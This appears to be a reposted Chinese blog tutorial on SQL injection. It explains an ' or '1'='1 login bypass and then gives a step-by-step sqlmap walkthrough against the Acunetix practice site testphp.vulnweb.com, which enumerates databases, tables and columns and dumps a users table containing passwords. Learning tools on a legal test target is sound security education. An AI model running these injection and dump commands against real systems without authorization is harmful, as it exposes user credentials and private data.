SQL注入攻击——sqlmap的使用

学习此文章可以通过sqlmap获取到有sql注入漏洞的数据库数据

前言:

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。

数据库都是Web应用环境中非常重要的环节。SQL命令就是前端Web和后端数据库之间的接口,使得数据可以传递到Web应用程序,也可以从其中发送出来。需要对这些数据进行控制,保证用户只能得到授权给他的信息。可是,很多Web站点都会利用用户输入的参数动态的生成SQL查询要求,攻击者通过在URL、表格域,或者其他的输入域中输入自己的SQL命令,以此改变查询属性,骗过应用程序,从而可以对数据库进行不受限的访问。

这个语句简单地指明了从user的表中查询用户名和username相等的,并且密码和password相等的。所以,如果用户发送用户名为”admin”,并且密码为”12345”,那么SQL语句被创建如下:

SELECT * FROM user WHERE username='admin' AND password ='12345'

那么,如果用户输入’ or ‘1’=’1,第一个引号会终止输入的字符串,剩下的会被当做SQL语句,并且在SQL语句中1=1恒为真,这就能够绕过注册机制。

SELECT * FROM user WHERE username='admin' AND password =''or '1'='1'。

一.测漏洞扫描工具AWVS的测试平台:http://testphp.vulnweb.com

1.GET请求方式:

找到有数据库交互的功能页面。进入测试平台,在地址栏输入如下网址:http://testphp.vulnweb.com/artists.php?artist=1。在url参数artist=1后加分号“  ”,出现数据库报错提示

 

扫描二维码关注公众号,回复: 14802379 查看本文章

基本判断这个页面存在数据库注入漏洞!!!!

 二. 利用这个注入点,使用sqlmap语法

1.根据结果显示,GET参数artist is vulnerable(artist是可以注入的)

sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1

2.进一步测试,看看哪些用户,在命令行后加 --users (注意,有空格)

发现有个acuart'@'localhost用户

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users

 3.加空格--dbs,看看有哪些数据库

发现两个数据库,acuart和information_schema

第一条查看当前数据库
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs

第二条为查看当前用户和当前数据库
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db

 4.读取数据的表信息 :命令行后加空格--tables -D "数据库名"

得到acuart有8个表

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "数据库名"

 5.查看这张表的字段有多少条数据  (5与6不同,5是查看表有哪些数据,6是查看表有哪些字段)(其实5和6写反了)

表的数据就是字段的所有值

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"

 6.查看某个表字段有哪些

得user表里有8个字段

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "表名" -D "数据库名"

7.读取表数据(非字段)内容

字段的所有数据就是表数据,下图可见的到user表密码,电话等数据

sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"

 

 8.其它

读取users表某条至某条记录,此例读第2条到第4条记录
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4

读取数据库所有表的所有字段数据
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"

猜你喜欢

转载自blog.csdn.net/m0_57069925/article/details/125106423